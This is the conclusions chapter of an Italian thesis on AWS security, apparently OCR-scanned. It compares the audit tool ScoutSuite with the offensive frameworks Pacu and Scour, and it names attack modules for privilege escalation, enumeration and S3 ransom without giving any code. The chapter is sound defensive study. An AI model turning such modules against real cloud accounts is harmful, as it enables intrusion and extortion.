Non-empty Rulesets for Default Security Groups
Security Group Allows ICMP Traffic to All
Security Group Opens All Ports
Security Group Uses Port Range
Unrestricted Network Traffic within Security Group

Unused Security Group

+ + + + + + + + 0+

Figura 8.12: Scout Dashboard EC2 con le modifiche
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9. Conclusioni e Sviluppi Futuri

Per gestire al meglio la sicurezza della propria infrastruttura AWS, bisogna seguire tutte
quelle best-pratices e linee guida che molto spesso vengono ignorate. A livello aziendale
la sicurezza a volte non viene trattata come argomento di focus fin dall’inizio: percio
nella creazione di un’infrastruttura si possono dimenticare delle buone pratiche che po-
trebbero rendere il nostro sistema vulnerabile.

Nello svolgimento dell’elaborato ¢ stato mostrato quanto € semplice costruire un’infra-
struttura AWS e quanti servizi, seppur visti in minima parte, ci offre.

ScoutSuite € un ottimo tool che ci permette di verificare le pratiche applicate nell’in-
frastruttura, consigliandoci ad hoc cosa andare a risolvere e cosa € possibile migliorare.
Il tool e semplice da usare e rapido nella elaborazione.

Pacu, invece, € un tool invece che ci mostra quali danni potrebbe riscontrare la no-
stra infrastruttura nel caso che un utente AWS possa ricadere in pratiche di phishing o
perdendo le proprie credenziali. Questo strumento ci permette di verificare cosa un ma-
lintenzionato, con ’account che ha a disposizione, puo fare nella nostra infrastruttura.
L’utilizzo non ¢ immediato ma il tool &€ molto efficiente e ha un’ ottima documentazione.
Il piu grande problema del tool & che se non si ha conoscenza dell’infrastruttura richie-
de pratiche di brute force che possono avere delle tempistiche non indifferenti. Scour
¢ un tool molto recente; infatti la documentazione online trovata non € molta. A mia
opinione il tool &€ molto meno completo di PACU difatti nonostante gli elevati permessi
associati all’account di testing con il modulo attack privesc non sono riuscito a fare
granché. Una nota a favore dello strumento scour ¢ sicuramente ’auto completamento
dei comandi.

9.1 Sviluppi futuri

Com’e possibile immaginare ci sono molti altri servizi e tool inerenti all’ambito sicu-
rezza di Amazon Web Services e probabilmente ne usciranno molti altri essendo una
piattaforma sempre in continua evoluzione.

Uno dei piu grandi problemi nell’eseguire un attacco su una piattaforma AWS sono i
permessi che vengono associati ad un account. I passi che un amministratore del cloud
deve eseguire sono quelli di applicare al meglio le best-practices consigliate da Amazon
e soprattutto cercare di associare i permessi strettamente necessari sia ad utenti che a
ruoli. Senza ombra di dubbio i due tools presi in analisi nell’elaborato cioe "PACU” e
”Scour” sono sempre in costante evoluzione; possono percio migliorare e completarsi.



Vantaggi e Svantaggi dei due strumenti

9.2 Vantaggi e Svantaggi dei due strumenti

A mia opinione le peculiarita, sia positive che negative, del tool PACU sono le seguenti:

Vantaggi

Svantaggi

Ottima documentazione e molte risorse in rete

Codice sorgente piu strutturato e quindi non
immediata la comprensione

Molti moduli e completi

Non immediato

Moduli ben strutturati con molte note su come
eseguirlo

Multi-platform

Comando help per ogni modulo

Tabella 9.1: Pacu Vantaggi e Svantaggi

A mia opinione le peculiarita, sia positive che negative, del tool Scour sono le seguenti:

Vantaggi

Svantaggi

Autocompletamento comandi

Poca documentazione e poco illustrata; an-
che il procedimento di installazione richiede-
va i moduli go non scritti in un apposito file
"requirements.txt”

Ottimo nel fare enumerazioni

Moduli che in caso di errore spesso fanno
chiudere la sessione Scour

Codice sorgente di facile comprensione e
totalmente open-source

Impossibilita di settare automaticamente

I’account dal tool

Esiste solo per AWS, non ¢ multipiattafroma

Assenza di documentazione percido moduli in-
teressanti quali ad esempio “attack operations
s3-ransom” non si conosce il funzionamento

Moduli non funzionanti come ad esempio
attack operations s3-ransom

Errore non segnalato se si scrive "attack enum
ec2” invece che "attack enum EC2”

Tabella 9.2: Scour Vantaggi e Svantaggi

Senza ombra di dubbio due tools interessanti. PACU, avendo dietro un team, risulta
uno strumento nettamente piu potente e completo, Scour invece necessita ancora di
aggiornamenti per poter raggiungere un buon livello di stabilita.
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